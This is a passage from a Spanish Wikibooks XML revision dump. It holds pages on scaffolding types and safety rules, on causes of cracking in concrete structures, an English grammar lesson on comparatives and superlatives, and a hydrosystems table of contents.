: · Caída de la plataforma de trabajo: debida a sobrecarga, inestabilidad, resistencia insuficiente, mal mantenimiento o fallo del dispositivo anti-caídas.
: · Rotura de la plataforma: por resistencia insuficiente (sobrecarga)
: : · Caída de personas: Montaje sin las debidas precauciones, ineficacia de las barandillas, desplazamiento del andamio, colisión con otros objetos.
: · Caídas al mismo nivel: acumulación de objetos.


::: ANCLAJES:

: · A forjado: mediante tornillos pasantes fijados a la cara inferior del forjado y pletinas que distribuyan los esfuerzos al menos entre tres viguetas.
: · Contrapesos: han de ser reglamentarios y estar colocados sobre una base metálica a la que se ancla la cola del pescante. Máximo, 500 kilos por pescante.


::: NORMAS DE MONTAJE:

: · Asegurarse de la estabilidad y resistencia de las superficies de apoyo.
: · Separar el extremo del pescante entre 16 y 90 cm de la fachada para que la plataforma quede entre 10 y 45cm.
: · Anclar los cables de trabajo y de seguridad en las argollas correspondientes de la pluma.
: · Los contrapesos empleados deben ser de construcción sólida, con un coeficiente de seguridad a momento de 3.
: · Los tornos o aparatos portátiles pueden ser a tambor, de adherencia o de mordazas. 
: · Calcular la separación entre pescantes según las solicitaciones y teniendo en cuenta que los cables han de bajar perfectamente paralelos y verticales (si no se coloca bien, el conjunto puede volcar por los esfuerzos horizontales generados)


=== REFERENCIAS Y BIBLIOGRAFÍA ===


: ·ABÁSOLO, Andrés. “Apeos : apeos y grietas en la edificación” Ed. Munilla-Lería, año 1996, ISBN 8449150095

: · “Control de calidad en la edificación” Editado por el Institut de Tecnologia de la Construcció de Catalunya, año 1989. ISBN 84-85954-87-4

: ·NTP-202: Sobre el riesgo de caída de personas a distinto nivel. http://www.mtas.es/insht/ntp/ntp_202.htm

: ·NTP 532: Andamios colgados móviles de accionamiento manual: aparatos de elevación y de maniobra http://www.mtas.es/insht/ntp/ntp_532.htm

: ·NTP 669: Andamios de trabajo prefabricados (I) normas constructivas http://www.mtas.es/insht/ntp/ntp_669.htm

: ·NTP 670: Andamios de trabajo prefabricados (II) montaje y utilización http://www.mtas.es/insht/ntp/ntp_670.htm

: ·REAL DECRETO 1215/1997, de 18 de julio 
.- http://www.clmprevencion.com/pdf/legislacion-normativa-legislacion-vigente/R.D.%201215_1997.pdf
.- http://www.coam.org/pls/portal/docs/PAGE/COAM/COAM_AYUDA_PROFESIONAL/PDF/SS_13-11-2004.pdf 

: ·www.ulmaconstruccion.com

: ·Apuntes de “Construcción, obra gruesa” (Arq.)

: ·Apuntes de “Equipos, instalaciones y medios auxiliares” (Arq. Técnica)</text>
      <sha1>abjt1acoxebnuopjuw0b1m659p914te</sha1>
    </revision>
    <revision>
      <id>430101</id>
      <parentid>430100</parentid>
      <timestamp>2026-08-02T11:25:59Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Separando secciones</comment>
      <origin>430101</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="6036" sha1="2n29zmqvd2clmprfto809eifbqfp9zw" xml:space="preserve">{{En subpáginas}}
* [[Patología de la edificación/Andamios/Introducción]]
* [[Patología de la edificación/Andamios/Requerimientos]]
* [[Patología de la edificación/Andamios/Clases]]
* [[Patología de la edificación/Andamios/Componentes]]
* [[Patología de la edificación/Andamios/Bibliografía]]


::: COMPONENTES:


::: CLASES:

Por último, respecto de las clases de andamios, son bastante similares entre sí. La diferencia es el anclaje entre las piezas, patente de cada casa comercial:

: · '''Sistema de rosetas: Casa “Peri” modelo “Up Rosett”'''. Tienen el inconveniente de que el anclaje entra en contacto con el tubo y que sólo pueden colocarse según los ejes cartesianos, por lo que no resuelven fachadas complicadas o curvas.

: · '''Sistema: Casa “Layher” modelo “Allround”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor del mismo. El inconveniente grave es que los operarios tienden a emplear estos anclajes como escalas para trepar.

: · '''Sistema: Casa “In” modelo “Crab”'''. Es el modelo más moderno y de mayor seguridad que pone en contacto tubo y anclaje (la chaveta bascula automáticamente, garantizando una fijación instantánea entre vertical y horizontal)presenta las mismas ventajas que el sistema de rosetas.

: · '''Sistema: Casa “RMD” modelo “Rapid Stage”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor.


'''3. ANDAMIOS MÓVILES'''

: · Tienen ruedas de goma o acero en vez de las placas base. Éstas han de incluir algún sistema antibloqueo para cuando se están utilizando.
: · La carga del andamio se limitará a 800 kg por rueda si ésta es de acero, y 250 kg si es de goma.
: · Los husillos se sustituyen por unos fijos de un metro.
: · Además de todas las medidas de seguridad de los fijos, han de incluir tubos diagonales dobles en la parte de la base, alternando el sentido de colocación, para garantizar su indeformabilidad.
: · La estabilidad se determinará dividiendo la altura total del andamio entre su lado corto. Ésta no podrá exceder de 4 (en los fijos es 5)


'''4. ANDAMIOS COLGADOS'''

Son los constituidos por una plataforma suspendida mediante un cable de varios puntos fijos. Sólo se desplaza verticalmente, gracias al accionamiento manual de los mecanismos dispuestos en la plataforma.


::: COMPONENTES:

: · Plataforma: De chapa galvanizada antideslizante. Es donde está el operario.
: · Cable o sirga: Elemento auxiliar de acero que sujeta la plataforma.
: · Pescante: Elemento situado en el tejado del edificio (generalmente se equilibra con contrapesos). De él se descuelgan los cables que sujentan la plataforma.
: · Torno: Aparato anclado en la plataforma, que lleva el mecanismo que la mueve y la fija a lo largo del cable. Lleva asimismo un segundo cable de seguridad.


::: DISPOSITIVOS DE SUSPENSIÓN:

: · Cabria: utilizadas para los andamios móviles en trabajos de revoco de fachadas de edificios con cubierta inclinada.

: · Lanza: Viguetas situadas en voladizo sobre el borde de las azoteas. Están estabilizadas bien por un contrapeso o por un anclaje al forjado.

: · Pescante: elemento situado en el tejado del edificio, a modo de grúa.


::: FACTORES DE RIESGO:

: · Caída de la plataforma de trabajo: debida a sobrecarga, inestabilidad, resistencia insuficiente, mal mantenimiento o fallo del dispositivo anti-caídas.
: · Rotura de la plataforma: por resistencia insuficiente (sobrecarga)
: : · Caída de personas: Montaje sin las debidas precauciones, ineficacia de las barandillas, desplazamiento del andamio, colisión con otros objetos.
: · Caídas al mismo nivel: acumulación de objetos.


::: ANCLAJES:

: · A forjado: mediante tornillos pasantes fijados a la cara inferior del forjado y pletinas que distribuyan los esfuerzos al menos entre tres viguetas.
: · Contrapesos: han de ser reglamentarios y estar colocados sobre una base metálica a la que se ancla la cola del pescante. Máximo, 500 kilos por pescante.


::: NORMAS DE MONTAJE:

: · Asegurarse de la estabilidad y resistencia de las superficies de apoyo.
: · Separar el extremo del pescante entre 16 y 90 cm de la fachada para que la plataforma quede entre 10 y 45cm.
: · Anclar los cables de trabajo y de seguridad en las argollas correspondientes de la pluma.
: · Los contrapesos empleados deben ser de construcción sólida, con un coeficiente de seguridad a momento de 3.
: · Los tornos o aparatos portátiles pueden ser a tambor, de adherencia o de mordazas. 
: · Calcular la separación entre pescantes según las solicitaciones y teniendo en cuenta que los cables han de bajar perfectamente paralelos y verticales (si no se coloca bien, el conjunto puede volcar por los esfuerzos horizontales generados)


=== REFERENCIAS Y BIBLIOGRAFÍA ===


: ·ABÁSOLO, Andrés. “Apeos : apeos y grietas en la edificación” Ed. Munilla-Lería, año 1996, ISBN 8449150095

: · “Control de calidad en la edificación” Editado por el Institut de Tecnologia de la Construcció de Catalunya, año 1989. ISBN 84-85954-87-4

: ·NTP-202: Sobre el riesgo de caída de personas a distinto nivel. http://www.mtas.es/insht/ntp/ntp_202.htm

: ·NTP 532: Andamios colgados móviles de accionamiento manual: aparatos de elevación y de maniobra http://www.mtas.es/insht/ntp/ntp_532.htm

: ·NTP 669: Andamios de trabajo prefabricados (I) normas constructivas http://www.mtas.es/insht/ntp/ntp_669.htm

: ·NTP 670: Andamios de trabajo prefabricados (II) montaje y utilización http://www.mtas.es/insht/ntp/ntp_670.htm

: ·REAL DECRETO 1215/1997, de 18 de julio 
.- http://www.clmprevencion.com/pdf/legislacion-normativa-legislacion-vigente/R.D.%201215_1997.pdf
.- http://www.coam.org/pls/portal/docs/PAGE/COAM/COAM_AYUDA_PROFESIONAL/PDF/SS_13-11-2004.pdf 

: ·www.ulmaconstruccion.com

: ·Apuntes de “Construcción, obra gruesa” (Arq.)

: ·Apuntes de “Equipos, instalaciones y medios auxiliares” (Arq. Técnica)</text>
      <sha1>2n29zmqvd2clmprfto809eifbqfp9zw</sha1>
    </revision>
    <revision>
      <id>430107</id>
      <parentid>430101</parentid>
      <timestamp>2026-08-02T11:32:31Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Sección ya trasladada, elimino</comment>
      <origin>430107</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4834" sha1="q4mezr4t3xyfoiuto7iytsgswvfsplh" xml:space="preserve">{{En subpáginas}}
* [[Patología de la edificación/Andamios/Introducción]]
* [[Patología de la edificación/Andamios/Requerimientos]]
* [[Patología de la edificación/Andamios/Clases]]
* [[Patología de la edificación/Andamios/Componentes]]
* [[Patología de la edificación/Andamios/Bibliografía]]


::: COMPONENTES:


::: CLASES:

Por último, respecto de las clases de andamios, son bastante similares entre sí. La diferencia es el anclaje entre las piezas, patente de cada casa comercial:

: · '''Sistema de rosetas: Casa “Peri” modelo “Up Rosett”'''. Tienen el inconveniente de que el anclaje entra en contacto con el tubo y que sólo pueden colocarse según los ejes cartesianos, por lo que no resuelven fachadas complicadas o curvas.

: · '''Sistema: Casa “Layher” modelo “Allround”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor del mismo. El inconveniente grave es que los operarios tienden a emplear estos anclajes como escalas para trepar.

: · '''Sistema: Casa “In” modelo “Crab”'''. Es el modelo más moderno y de mayor seguridad que pone en contacto tubo y anclaje (la chaveta bascula automáticamente, garantizando una fijación instantánea entre vertical y horizontal)presenta las mismas ventajas que el sistema de rosetas.

: · '''Sistema: Casa “RMD” modelo “Rapid Stage”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor.


'''3. ANDAMIOS MÓVILES'''

: · Tienen ruedas de goma o acero en vez de las placas base. Éstas han de incluir algún sistema antibloqueo para cuando se están utilizando.
: · La carga del andamio se limitará a 800 kg por rueda si ésta es de acero, y 250 kg si es de goma.
: · Los husillos se sustituyen por unos fijos de un metro.
: · Además de todas las medidas de seguridad de los fijos, han de incluir tubos diagonales dobles en la parte de la base, alternando el sentido de colocación, para garantizar su indeformabilidad.
: · La estabilidad se determinará dividiendo la altura total del andamio entre su lado corto. Ésta no podrá exceder de 4 (en los fijos es 5)


'''4. ANDAMIOS COLGADOS'''

Son los constituidos por una plataforma suspendida mediante un cable de varios puntos fijos. Sólo se desplaza verticalmente, gracias al accionamiento manual de los mecanismos dispuestos en la plataforma.


::: COMPONENTES:

: · Plataforma: De chapa galvanizada antideslizante. Es donde está el operario.
: · Cable o sirga: Elemento auxiliar de acero que sujeta la plataforma.
: · Pescante: Elemento situado en el tejado del edificio (generalmente se equilibra con contrapesos). De él se descuelgan los cables que sujentan la plataforma.
: · Torno: Aparato anclado en la plataforma, que lleva el mecanismo que la mueve y la fija a lo largo del cable. Lleva asimismo un segundo cable de seguridad.


::: DISPOSITIVOS DE SUSPENSIÓN:

: · Cabria: utilizadas para los andamios móviles en trabajos de revoco de fachadas de edificios con cubierta inclinada.

: · Lanza: Viguetas situadas en voladizo sobre el borde de las azoteas. Están estabilizadas bien por un contrapeso o por un anclaje al forjado.

: · Pescante: elemento situado en el tejado del edificio, a modo de grúa.


::: FACTORES DE RIESGO:

: · Caída de la plataforma de trabajo: debida a sobrecarga, inestabilidad, resistencia insuficiente, mal mantenimiento o fallo del dispositivo anti-caídas.
: · Rotura de la plataforma: por resistencia insuficiente (sobrecarga)
: : · Caída de personas: Montaje sin las debidas precauciones, ineficacia de las barandillas, desplazamiento del andamio, colisión con otros objetos.
: · Caídas al mismo nivel: acumulación de objetos.


::: ANCLAJES:

: · A forjado: mediante tornillos pasantes fijados a la cara inferior del forjado y pletinas que distribuyan los esfuerzos al menos entre tres viguetas.
: · Contrapesos: han de ser reglamentarios y estar colocados sobre una base metálica a la que se ancla la cola del pescante. Máximo, 500 kilos por pescante.


::: NORMAS DE MONTAJE:

: · Asegurarse de la estabilidad y resistencia de las superficies de apoyo.
: · Separar el extremo del pescante entre 16 y 90 cm de la fachada para que la plataforma quede entre 10 y 45cm.
: · Anclar los cables de trabajo y de seguridad en las argollas correspondientes de la pluma.
: · Los contrapesos empleados deben ser de construcción sólida, con un coeficiente de seguridad a momento de 3.
: · Los tornos o aparatos portátiles pueden ser a tambor, de adherencia o de mordazas. 
: · Calcular la separación entre pescantes según las solicitaciones y teniendo en cuenta que los cables han de bajar perfectamente paralelos y verticales (si no se coloca bien, el conjunto puede volcar por los esfuerzos horizontales generados)</text>
      <sha1>q4mezr4t3xyfoiuto7iytsgswvfsplh</sha1>
    </revision>
    <revision>
      <id>430108</id>
      <parentid>430107</parentid>
      <timestamp>2026-08-02T11:33:23Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Autocat, separación de secciones de libro. Eliminando plantilla de mantenimiento</comment>
      <origin>430108</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="322" sha1="ehcorsgvt5grnemadefg2mx0uecrl0l" xml:space="preserve">* [[Patología de la edificación/Andamios/Introducción]]
* [[Patología de la edificación/Andamios/Requerimientos]]
* [[Patología de la edificación/Andamios/Clases]]
* [[Patología de la edificación/Andamios/Componentes]]
* [[Patología de la edificación/Andamios/Bibliografía]]

&lt;noinclude&gt;{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>ehcorsgvt5grnemadefg2mx0uecrl0l</sha1>
    </revision>
    <revision>
      <id>430111</id>
      <parentid>430108</parentid>
      <timestamp>2026-08-02T11:38:14Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>actualización</comment>
      <origin>430111</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="378" sha1="5xjpw71snuztbyvphszydwzue6gzzh7" xml:space="preserve">* [[Patología de la edificación/Andamios/Introducción|Introducción]]
* [[Patología de la edificación/Andamios/Requerimientos|Requerimientos]]
* [[Patología de la edificación/Andamios/Clases|Clases]]
* [[Patología de la edificación/Andamios/Componentes|Componentes]]
* [[Patología de la edificación/Andamios/Bibliografía|Enlaces]]

&lt;noinclude&gt;{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>5xjpw71snuztbyvphszydwzue6gzzh7</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de hormigón/Causas Operativas</title>
    <ns>0</ns>
    <id>16802</id>
    <revision>
      <id>430170</id>
      <parentid>417547</parentid>
      <timestamp>2026-08-02T11:54:54Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430170</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9663" sha1="rcwg6ylh5pl9mp97zk30qct5hof530k" xml:space="preserve">Causas Operativas
Futura ubicación de la sección

== Planificación ==
== Concepción o diseño de la solución constructiva ==

=== Dimensionado de la estructura ===

Surge cuando en el elemento estructural se origina un agotamiento del hormigón debido a los esfuerzos de tracción, flexión, de cortante, de torsión o de compresión. Es probable la superposición de las acciones complicando así el diagnostico.

El esfuerzo a tracción suele ser el máximo causante de fisuración tanto directa como indirec-tamente. Importancia módulo de elasticidad. 

* '''[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Tracción|Tracción]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Compresión|Compresión]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Flexión|Flexión]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Esfuerzo cortante|Esfuerzo cortante]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Punzonamiento|Punzonamiento]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Torsión|Torsión]]'''
* '''[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Adherencia|Adherencia]]'''

==== Anclaje ====
* Escasez de armadura transversal en la zona de anclaje.
* Dimensionado incorrecto del anclaje.
* Corte simultaneo de una proporción alta de armaduras en zona de cortantes.
[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Anclaje|+ Anclaje]]

==== Nudos ====
* Debido a la tracción diagonal excesiva en el nudo, o bien a la compresión excesiva en la biela.
* En los nudos entramados, sometidos a acciones de viento, transmisión de tensiones de las armaduras al hormigón.
* Insuficiente sección o baja resistencia del hormigón y/o armadura de cercos.
[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Nudos|+ Nudos]]

==== Asiento del terreno ====
* Mal asiento de los pilares.
* Dimensionado erróneo del pilar por no considerar el momento transmitido por la reacción de la zapata.
[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Asiento terreno|+ Asiento terreno]]

* '''[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Ascenso cimientos|Ascenso cimientos]]'''

==== Semiviguetas y Bovedillas ====

Apoyo extremo – forjado azotea
* Fisura debido a la escasez o ausencia de armadura en negativos junto al apoyo. En reali-dad aparece un momento debido al peso del murete.

Cara superior apoyos
* Rotación de los vanos que formando fisuras, por donde la escasez de armadura lo dispo-ne, debido al considerar que se trata de vanos isostaticos.

Suela semivigueta
* Disposición errónea del apoyo de la vigueta en el babero durante el proceso de construc-ción, debido a que la celosía arranca en el cordón superior.
* Reacción producida por el apoyo bajo el peso propio + bovedillas + hormigón fresco + sobre-cargas de construcción.
* Tensiones de corte en planos verticales longitudinales.
* Debido a la aparición de flexión transversal del forjado.

Voladizo
* Fisuras debidas a no disponer zuncho de borde o de punta con armadura suficiente y evi-tar la fisura.
* Falta de armadura longitudinal de retracción.
[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Semiviguetas y bovedillas|+ Semiviguetas y bovedillas]]


==== Paneles de Fachada ====

Anarquía de fisuras
* Ausencia o insuficiencia de armadura de retracción y temperatura.
* Sistema incorrecto de aplicación del curado acelerado.

Huecos
* Falta de armadura en las esquinas de los huecos.
* Deformación diferencial excesiva de temperatura en la cara exterior respecto a la interior.
* Insuficiente armadura superficial.

[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Paneles de fachada|+ Paneles de fachada]]

==== Ménsula ====
* Tracción o compresión excesiva de la armadura motivada por una carga puntual.
* Agotamiento del anclaje de armadura.

[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Ménsula|+ Ménsula]]

== Fabricación ==

== Ejecución ==

=== Errores de Puesta en Obra ===


==== Hormigonado ====
[[Archivo:Defecto de compacidad.jpg|thumbnail|right|Defecto de compacidad]]
'''Compactación'''


==== Anterior a la fase de endurecimiento ====
[[Archivo:Retracción plásticas.jpg|thumbnail|right|Esquemas diversos de fisuras originadas por la retracción plástica]]
[[Archivo:Asentamiento plastico armado.jpg|thumbnail|right|Torsion Fisura por asentamiento plástico en la masa del material. El armado coarta el movimiento descendente del hormigón de recubrimiento.]]

===== Fisuras =====
Fisuras que tienen su origen desde los pocos minutos después de la puesta en obra hasta el inicio de la fase de fraguado del material, mientras éste se halla aún en estado plástico. Las fisuras mas frecuentes son la retracción plástica y el Asentamiento Plástico.

Importancia del fenómeno de exudación (el agua asciende hacia la superficie superior del hormigón al poco tiempo de su amasado), interviniendo en la formación de ambas fisuras. Las partículas sólidas endurecidas del material tienden a descender por gravedad hacia la parte inferior del ele-mento, expulsando el agua no combinada hacia la superficie. La producen:

* Alta relación agua/cemento.
* Evaporación superficial es alta
* A mayor espesor, mayor es la exudación
* Uso de retardadores de fraguado 

'''Retracción Plástica'''
Fisura muy característica del hormigón fresco, está en proceso de fraguado y se produce tensión capilar por el exceso de agua en los poros, debido al retraso de curado o protección hormigón. Adquiere importancia si hay áridos gruesos cerca de la armadura, impienso una correcta deformación del hormigón, debido a la nula resistencia de éste. Muy frecuente en losas de hormigón. [[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Retracción plástica|+ Retracción Plástica]]

'''Asentamiento Plástico'''
Desplazamiento de los elementos sólidos hacia el fondo o parte baja de los moldes debido a la acción de la gravedad y del agua hacia la superficie del hormigón. Por regla general, se producirán a lo largo de las barras de armados frecuentemente en vigas y cabeza de pilares. [[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Asentamiento plástico|+ Asentamiento plástico]]


==== Posterior a la fase de endurecimiento ====

===== Fisuras =====
Son una vez finalizadas las reacciones de hidratación o fase de fraguado.

Aparición de fisuras de afogarado o fisuras en mapa, causadas por un secado superficial enér-gico producido en las primeras horas de puesta en obra del hormigón y cuando éste no ha terminado aún de fraguar. A consecuencia, del calor engendrado en el núcleo del hormigón por las reacciones de hidratación del cemento. Esta fisura tiene mayor trascendencia si el secado se produce en una tempe-ratura ambiente elevada, viento seco, y cuanto mayor es la relación entre superficie libre/volumen de los elementos, ocurriendo en hormigones no protegidos de escaso espesor y extensa superficie libre, es una retracción plástica superficial enérgica. 

La expansión que produce dicho calor genera tensiones en las zonas en donde la temperatura es menor, generalmente en la superficie exterior, o en los elementos puestos con anterioridad que impiden su libre deformación inicial. Los factores más influyentes son:

** La temperatura inicial de los materiales y temperatura ambiente.
** Piezas de gran espesor produciendo más calor.
** El hormigón no debe ser curado con agua
** Abundante cantidad de cemento, forjando mas
** Los agregados calizos tienen un coeficiente de expansión térmica mas bajo que el resto de materiales
** Aditivos aceleradores de fraguado
** Insuficiencia de armadura.
** Rapidez de desencofrado


'''Retracción de Secado e Hidraúlica'''
Tras el fraguado de hormigón y en ambiente no saturado, perdida de agua, apareciendo contracciones. Estas retracciones de secado son irreversibles y se deben a la pérdida de agua del cemento. Consecuentemente hay una perdida de volumen. Formación de tensiones traccionadas internas, superando la resistencia a tracción del hormigón [[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Retracción de secado e hidraúlica|+ Retracción de secado e hidraúlica]]

'''Contracción Térmica'''
Producidas por el calor generado en el núcleo del hormigón por las reacciones de hidratación del cemento. Produciendo una expansión y creando tensiones internas a medida que se va enfriando al estar en contacto con el exterior. [[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Contracción térmica|+ Contracción térmica]]


=== Otros ===
* '''[[Patología de la edificación/Estructuras de hormigón/Causas Operativas/Otros|Información a reordenar]]'''

== Posesión o uso ==

[[Categoría:Patología de la edificación]]

{{AutoCat}}</text>
      <sha1>rcwg6ylh5pl9mp97zk30qct5hof530k</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Comparativos y superlativos</title>
    <ns>0</ns>
    <id>16807</id>
    <revision>
      <id>429797</id>
      <parentid>427256</parentid>
      <timestamp>2026-08-01T21:59:25Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429797</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2786" sha1="q5sl53npjrmi7a7ufyj0wtfi87h2eri" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;
== Comparativos y Superlativos==

Los comparativos se utilizan justamente para comparar una misma cualidad o característica en dos sustantivos.
Por ejemplo, en la frase &quot;a small shirt&quot; (una camisa pequeña ), small es un adjetivo. Para comparar este sujeto con otro, se usa el adjetivo comparativo, &quot;a smaller shirt&quot; (una camisa más pequeña ).
Para formar el comparativo, se deben seguir las siguientes reglas:

* Se agrega al adjetivo &quot;er&quot; o &quot;r&quot;, si ya termina en &quot;e&quot;. small - smaller ; large - larger
* Si la palabra termina en vocal + consonante, se duplica la consonante. big - bigger
* Si termina en &quot;y&quot; se cambia por &quot;ier&quot;. happy - happier 
 
Cuando el adjetivo tiene al menos  dos sílabas o más, el comparativo se forma usando  &quot;more&quot; delante.
expensive (caro) - more expensive than (mas caro que) esto solo se utiliza en los comparativos
careful - more careful

Para comparar dos objetos en una oración, se agrega &quot;than&quot;. This shirt is smaller than that shirt. Esta camisa es más pequeña que aquella camisa.
Los superlativos sirven para referirse a sustantivos que son los únicos que presentan una cualidad que los diferencia del resto. Como vimos, en la frase &quot;a small shirt&quot; (una camisa pequeña ), small es un adjetivo. Si todas las demás camisas son grandes, se puede comparar usando el superlativo &quot;the smallest shirt&quot; (la camisa más pequeña ). Siempre se agrega &quot;the&quot; delante.
Para formar el superlativo, se deben seguir las siguientes reglas:
 
* Se agrega al adjetivo &quot;est&quot; o &quot;st&quot;, si ya termina en &quot;e&quot;. small - the smallest; large - the largest
* Si la palabra termina en consonante vocal  consonante, se duplica la ultima consonante. big - the biggest
* Si termina en &quot;y&quot; se cambia la y por i &quot;iest&quot;. happy - the happiest 

Cuando el adjetivo tiene tres silabas o mas de tres sílabas, el superlativo se forma usando las palabras &quot;the most&quot; delante.
expensive - the most expensive
beautiful - the most beautiful

'''→''' Existen ciertos '''adjetivos''' con comparativos y superlativos '''irregulares'''. La única forma de aprenderlos es memorizarlos.
{| class=&quot;wikitable&quot;
|-
! Adjective !! Comparative !! Superlative
|-
| '''good''' (bueno) || better than (más bueno que) || the best (el mejor)
|-
| '''bad''' (malo) || worse than (más malo que) || the worst (el peor)
|}

Algunos ejemplos con '''adjetivos regulares''' :
{| class=&quot;wikitable&quot;
|-
! Adjective !! Comparative !! Superlative
|-
| Cheap (barato)  || Cheap'''er''' than (más barato que) || the cheap'''est''' (el más barato)
|-
| Big (Grande) || bigg'''er''' than (más grande que) || the bigg'''est''' (el más grande)
|-
| Expensive (caro) || '''More''' expensive than(más caro que) || '''the most''' expensive (el más caro)
|}

{{AutoCat}}</text>
      <sha1>q5sl53npjrmi7a7ufyj0wtfi87h2eri</sha1>
    </revision>
  </page>
  <page>
    <title>Hidrosistemas</title>
    <ns>0</ns>
    <id>16826</id>
    <revision>
      <id>429993</id>
      <parentid>233687</parentid>
      <timestamp>2026-08-02T09:50:53Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>+estantes</comment>
      <origin>429993</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1566" sha1="ibjkkisggw8xix5c0wleq8d0gnpmgzw" xml:space="preserve">Este texto está dirigido a estudiantes y profesionales que tengan interés en conocer aspectos asociados al agua como [[:w:Hidrología |hidrología]], [[:w:Hidráulica|hidráulica]], [[:w:Acueducto|acueductos]], [[:w:Alcantarillado|alcantarillados]] y drenaje urbano.

Se puede entender este documento como una guía de análisis de los diferentes fenómenos asociados al movimiento del agua en espacios naturales y artificiales

== Contenido ==
# [[Hidrosistemas/Hidrología/ | Hidrología]]
## [[Hidrosistemas/Hidrología/Ciclo Hidrologíco/ | Ciclo Hidrológico]]
## [[Hidrosistemas/Hidrología/Agua Atmosférica/ | Agua Atmosférica]]
### [[Hidrosistemas/Hidrología/Agua Atmosférica/Evaporación/ | Evaporación ]]
## [[Hidrosistemas/Hidrología/Precipitación/ | Precipitación ]]
## [[Hidrosistemas/Hidrología/Geomorfología de cuencas/ | Geomorfología de cuencas]]
# [[Hidrosistemas/Hidráulica/ | Hidráulica]]
# [[Hidrosistemas/Acueductos/ | Acueductos]]
## [[Hidrosistemas/Acueductos/Estimación de la demanda/ | Estimación de la demanda]]
## [[Hidrosistemas/Acueductos/Análisis de Redes de Distribución/ | Análisis de Redes de Distribución]]
# [[Hidrosistemas/Drenaje Urbano/ | Drenaje Urbano]]
## [[Hidrosistemas/Drenaje Urbano/Alcantarillado Sanitario/ | Alcantarillado Sanitario]]
## [[Hidrosistemas/Drenaje Urbano/Alcantarillado Pluvial/ | Alcantarillado Pluvial]]
## [[Hidrosistemas/Drenaje Urbano/Sistemas Dispersos/ | Sistemas Dispersos]]

== Otros Wikilibros afines==
* [[Ingeniería de aguas residuales]]

{{Estantes|Ingeniería Civil}}</text>
      <sha1>ibjkkisggw8xix5c0wleq8d0gnpmgzw</sha1>
    </revision>
    <revision>
      <id>429995</id>
      <parentid>429993</parentid>
      <timestamp>2026-08-02T09:51:51Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{Esbozo}}</comment>
      <origin>429995</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1577" sha1="8gey0dm2gsg7kqmkxcn7yguhr6mvj11" xml:space="preserve">{{Esbozo}}
Este texto está dirigido a estudiantes y profesionales que tengan interés en conocer aspectos asociados al agua como [[:w:Hidrología |hidrología]], [[:w:Hidráulica|hidráulica]], [[:w:Acueducto|acueductos]], [[:w:Alcantarillado|alcantarillados]] y drenaje urbano.

Se puede entender este documento como una guía de análisis de los diferentes fenómenos asociados al movimiento del agua en espacios naturales y artificiales

== Contenido ==
# [[Hidrosistemas/Hidrología/ | Hidrología]]
## [[Hidrosistemas/Hidrología/Ciclo Hidrologíco/ | Ciclo Hidrológico]]
## [[Hidrosistemas/Hidrología/Agua Atmosférica/ | Agua Atmosférica]]
### [[Hidrosistemas/Hidrología/Agua Atmosférica/Evaporación/ | Evaporación ]]
## [[Hidrosistemas/Hidrología/Precipitación/ | Precipitación ]]
## [[Hidrosistemas/Hidrología/Geomorfología de cuencas/ | Geomorfología de cuencas]]
# [[Hidrosistemas/Hidráulica/ | Hidráulica]]
# [[Hidrosistemas/Acueductos/ | Acueductos]]
